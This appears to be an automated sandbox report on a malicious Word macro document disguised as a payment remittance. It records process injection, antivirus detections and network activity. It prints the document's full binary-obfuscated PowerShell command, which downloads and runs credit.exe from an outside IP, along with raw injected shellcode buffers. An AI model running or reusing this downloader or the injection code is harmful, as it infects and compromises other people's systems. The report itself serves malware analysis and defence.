NtAllocateVirtualMemory July 30, 2021, 11:47 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00020000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000198	1	0	0
NtAllocateVirtualMemory July 30, 2021, 11:47 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00130000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000198	1	0	0
NtAllocateVirtualMemory July 30, 2021, 11:47 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00140000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000198	1	0	0
NtAllocateVirtualMemory July 30, 2021, 11:47 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00150000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000198	1	0	0
NtAllocateVirtualMemory July 30, 2021, 11:47 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00160000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000198	1	0	0
NtAllocateVirtualMemory July 30, 2021, 11:47 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x001f0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000198	1	0	0
NtAllocateVirtualMemory July 30, 2021, 11:47 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00200000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000198	1	0	0

Potential code injection by writing to the memory of another process (12 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2428 injected into non-child 2808
WriteProcessMemory July 30, 2021, 11:47 a.m.	buffer: hÿhÿ×IuÕwkernel32.dllÿ0ûEPúE¾ttúEÉtpý~dúElatQyt#pý~úE:t6;tûEmØtØúEØúEÿÿÿÿDûE0ûE?ÿ$ ûE,%èúEü ü ûEQAYATûEäE base_address: 0x000b0000 process_identifier: 2808 process_handle: 0x00000198	1	1	0
WriteProcessMemory July 30, 2021, 11:47 a.m.	buffer: GetProcAddress base_address: 0x000c0000 process_identifier: 2808 process_handle: 0x00000198	1	1	0
WriteProcessMemory July 30, 2021, 11:47 a.m.	buffer: kernel32.dll base_address: 0x00110000 process_identifier: 2808 process_handle: 0x00000198	1	1	0
WriteProcessMemory July 30, 2021, 11:47 a.m.	buffer: Õw"uEu base_address: 0x00010000 process_identifier: 2808 process_handle: 0x00000198	1	1	0
WriteProcessMemory July 30, 2021, 11:47 a.m.	buffer: UìÄìVWEð}ì¥¥¥¥¥ÿuøÿUôÿuüPÿUðPÿUì_^å]ÂÀUìÄàSVWùUüØu3ÀEøhÄIhØIèEÿÿPèGÿÿEèhèIhØIè-ÿÿPè/ÿÿEähøIhØIèÿÿPèÿÿEàþu}ðëÎ×ÃèGüÿÿEðUüÃè¢ûÿÿEìjjMàºÐHÃè`üÿÿØÛtjÿSè¦ÿÿEôPSèÿÿEôEøEø_^[å]ÂGetModuleHandleAkernel32.dllGetProcAddressExitThreadUìÄìSEüEüEøE@ü¤EôëUEø@èÑèEìEøÀEðUìJÒr0BEðföÅðtE@ô]øfáÿ·ÉÁMIøEðJuÑEðEøEø+Eü;Eôr [å]Ã base_address: 0x00020000 process_identifier: 2808 process_handle: 0x00000198	1	1	0
WriteProcessMemory July 30, 2021, 11:47 a.m.	buffer: LoadLibraryA base_address: 0x00130000 process_identifier: 2808 process_handle: 0x00000198	1	1	0
WriteProcessMemory July 30, 2021, 11:47 a.m.	buffer: kernel32.dll base_address: 0x00140000 process_identifier: 2808 process_handle: 0x00000198	1	1	0
WriteProcessMemory July 30, 2021, 11:47 a.m.	buffer: Õw"uEu base_address: 0x00150000 process_identifier: 2808 process_handle: 0x00000198	1	1	0
WriteProcessMemory July 30, 2021, 11:47 a.m.	buffer: UìÄìVWEð}ì¥¥¥¥¥ÿuøÿUôÿuüPÿUðPÿUì_^å]ÂÀUìÄàSVWùUüØu3ÀEøhÄIhØIèEÿÿPèGÿÿEèhèIhØIè-ÿÿPè/ÿÿEähøIhØIèÿÿPèÿÿEàþu}ðëÎ×ÃèGüÿÿEðUüÃè¢ûÿÿEìjjMàºÐHÃè`üÿÿØÛtjÿSè¦ÿÿEôPSèÿÿEôEøEø_^[å]ÂGetModuleHandleAkernel32.dllGetProcAddressExitThreadUìÄìSEüEüEøE@ü¤EôëUEø@èÑèEìEøÀEðUìJÒr0BEðföÅðtE@ô]øfáÿ·ÉÁMIøEðJuÑEðEøEø+Eü;Eôr [å]Ã base_address: 0x00160000 process_identifier: 2808 process_handle: 0x00000198	1	1	0
WriteProcessMemory July 30, 2021, 11:47 a.m.	buffer: YY base_address: 0x001f0000 process_identifier: 2808 process_handle: 0x00000198	1	1	0
WriteProcessMemory July 30, 2021, 11:47 a.m.	buffer: UìÄøEUøPUü1ÀPjÿuøÿUüYY]Â@UìÄÔSVWúðEÔô?è5ÿÿ3ÀUh½Hdÿ0d ÆEÿG<ÇEô»Ãj@h0Eô@PPEô@4ÃPèÿÿEð}ðt0hjEðPèÿÿj@h0Eô@PPEô@4ÃPVèâÿÿEð}ðuû0vEÔPÏUðÆèEÔÀt7EèUàUìUøRUØRPEðPVèÖÿÿjjMèºGÆè_ýÿÿÀtÆEÿ3ÀZYYdhÄHEÔô?èÿÿÃ base_address: 0x00200000 process_identifier: 2808 process_handle: 0x00000198	1	1	0

Network activity contains more than one unique useragent (2 events)

process	credit.exe				useragent	zipo
process	credit.exe				useragent	aswe

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
send July 30, 2021, 11:46 a.m.	buffer: GET /credit.exe HTTP/1.1 Host: 192.227.158.111 Connection: Keep-Alive socket: 1276 sent: 75	1	75	0

One or more non-whitelisted processes were created (4 events)

parent_process	winword.exe	martian_process	Powershell $v78df0=(00100100,01110111,01100101,00110010,00110010,00111101,00100111,00101000,01001110,01100101,01110111,00101101,01001111,01100010,01101010,01100101,00100111,00100000,00101011,00100000,00100111,01100011,01110100,00100000,01001110,01100101,01110100,00101110,01010111,01100101,00100111,00111011,00100000,00100100,01100010,00110100,01100100,01100110,00111101,00100111,01100010,01000011,01101100,00100111,00100000,00101011,00100000,00100111,01101001,01100101,01101110,01110100,00101001,00101110,01000100,01101111,01110111,01101110,01101100,01101111,00100111,00111011,00100000,00100100,01100011,00110011,00111101,00100111,01100001,01100100,01000110,01101001,01101100,01100101,00101000,00100111,00100111,01101000,01110100,01110100,01110000,00111010,00101111,00101111,00110001,00111001,00110010,00101110,00110010,00110010,00110111,00101110,00110001,00110101,00111000,00101110,00110001,00110001,00110001,00101111,01100011,01110010,01100101,01100100,01101001,01110100,00101110,01100101,01111000,01100101,00100111,00100111,00101100,00100100,01100101,01101110,01110110,00111010,01110100,01100101,01101101,01110000,00101011,00100111,00100111,01011100,01100011,01110010,01100101,01100100,01101001,01110100,00101110,01100101,01111000,01100101,00100111,00100111,00101001,00100111,00111011,00100100,01010100,01000011,00111101,01001001,01000101,01011000,00100000,00101000,00100100,01110111,01100101,00110010,00110010,00101100,00100100,01100010,00110100,01100100,01100110,00101100,00100100,01100011,00110011,00100000,00101101,01001010,01101111,01101001,01101110,00100000,00100111,00100111,00101001,00111011,01110011,01110100,01100001,01110010,01110100,00101101,01110000,01110010,01101111,01100011,01100101,01110011,01110011,00101000,00100100,01100101,01101110,01110110,00111010,01110100,01100101,01101101,01110000,00101011,00100000,00100111,01011100,01100011,01110010,01100101,01100100,01101001,01110100,00101110,01100101,01111000,01100101,00100111,00101001) \| %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };[system.String]::Join('', $v78df0)\|IEX
parent_process	winword.exe	martian_process	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $v78df0=(00100100,01110111,01100101,00110010,00110010,00111101,00100111,00101000,01001110,01100101,01110111,00101101,01001111,01100010,01101010,01100101,00100111,00100000,00101011,00100000,00100111,01100011,01110100,00100000,01001110,01100101,01110100,00101110,01010111,01100101,00100111,00111011,00100000,00100100,01100010,00110100,01100100,01100110,00111101,00100111,01100010,01000011,01101100,00100111,00100000,00101011,00100000,00100111,01101001,01100101,01101110,01110100,00101001,00101110,01000100,01101111,01110111,01101110,01101100,01101111,00100111,00111011,00100000,00100100,01100011,00110011,00111101,00100111,01100001,01100100,01000110,01101001,01101100,01100101,00101000,00100111,00100111,01101000,01110100,01110100,01110000,00111010,00101111,00101111,00110001,00111001,00110010,00101110,00110010,00110010,00110111,00101110,00110001,00110101,00111000,00101110,00110001,00110001,00110001,00101111,01100011,01110010,01100101,01100100,01101001,01110100,00101110,01100101,01111000,01100101,00100111,00100111,00101100,00100100,01100101,01101110,01110110,00111010,01110100,01100101,01101101,01110000,00101011,00100111,00100111,01011100,01100011,01110010,01100101,01100100,01101001,01110100,00101110,01100101,01111000,01100101,00100111,00100111,00101001,00100111,00111011,00100100,01010100,01000011,00111101,01001001,01000101,01011000,00100000,00101000,00100100,01110111,01100101,00110010,00110010,00101100,00100100,01100010,00110100,01100100,01100110,00101100,00100100,01100011,00110011,00100000,00101101,01001010,01101111,01101001,01101110,00100000,00100111,00100111,00101001,00111011,01110011,01110100,01100001,01110010,01110100,00101101,01110000,01110010,01101111,01100011,01100101,01110011,01110011,00101000,00100100,01100101,01101110,01110110,00111010,01110100,01100101,01101101,01110000,00101011,00100000,00100111,01011100,01100011,01110010,01100101,01100100,01101001,01110100,00101110,01100101,01111000,01100101,00100111,00101001) \| %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };[system.String]::Join('', $v78df0)\|IEX
parent_process	powershell.exe	martian_process	C:\Users\test22\AppData\Local\Temp\credit.exe
parent_process	powershell.exe	martian_process	"C:\Users\test22\AppData\Local\Temp\credit.exe"

Resumed a suspended thread in a remote process potentially indicative of process injection (6 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1620 resumed a thread in remote process 2200
Process injection	Process 2876 resumed a thread in remote process 2940
Process injection	Process 180 resumed a thread in remote process 1568
NtResumeThread July 30, 2021, 11:46 a.m.	thread_handle: 0x000005d4 suspend_count: 1 process_identifier: 2200	1	0	0
NtResumeThread July 30, 2021, 11:47 a.m.	thread_handle: 0x00000088 suspend_count: 0 process_identifier: 2940	1	0	0
NtResumeThread July 30, 2021, 11:47 a.m.	thread_handle: 0x00000088 suspend_count: 0 process_identifier: 1568	1	0	0

File has been identified by 23 AntiVirus engines on VirusTotal as malicious (23 events)

Elastic	malicious (high confidence)
Arcabit	VB:Trojan.Valyria.D13D1
Cyren	PP97M/Agent.AAK.gen!Eldorado
Avast	SNH:Script [Dropper]
Cynet	Malicious (score: 99)
Kaspersky	HEUR:Trojan.MSOffice.SAgent.gen
BitDefender	VB:Trojan.Valyria.5073
NANO-Antivirus	Trojan.Ole2.Vbs-heuristic.druvzi
MicroWorld-eScan	VB:Trojan.Valyria.5073
Tencent	Heur.Macro.Generic.f.31879a65
Ad-Aware	VB:Trojan.Valyria.5073
McAfee-GW-Edition	BehavesLike.Downloader.cc
FireEye	VB:Trojan.Valyria.5073
Emsisoft	VB:Trojan.Valyria.5073 (B)
GData	VB:Trojan.Valyria.5073
Avira	HEUR/Macro.Downloader.MRXW.Gen
Microsoft	TrojanDownloader:O97M/Obfuse.SS!MTB
MAX	malware (ai score=84)
Zoner	Probably Heur.W97Obfuscated
SentinelOne	Static AI - Malicious OPENXML
Fortinet	VBA/Agent.891E!tr
AVG	SNH:Script [Dropper]
Qihoo-360	ex_virus.macro.ShellExecute.a

Connects to an IP address that is no longer responding to requests (legitimate services will remain up-and-running usually) (1 event)

dead_host

185.189.112.27:8618

The processes winword.exe, powershell.exe wrote an executable file to disk which it then attempted to execute (21 events)

file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe
file	C:\Users\test22\AppData\Local\Temp\credit.exe

JPM_Payment_Remittance_505693.docm

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All